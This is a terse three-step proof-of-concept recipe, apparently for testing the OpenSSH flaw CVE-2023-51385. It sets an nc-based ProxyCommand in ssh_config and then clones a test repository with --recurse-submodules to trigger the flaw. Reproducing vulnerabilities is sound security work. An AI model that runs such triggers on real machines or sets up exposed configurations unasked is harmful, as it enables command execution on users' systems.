1.step 1 ssh -V 2.step 2 vim /etc/ssh/ssh_config host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 3. step 3 git clone https://github.com/Tu0Laj1/CVE-2023-51385_test --recurse-submodules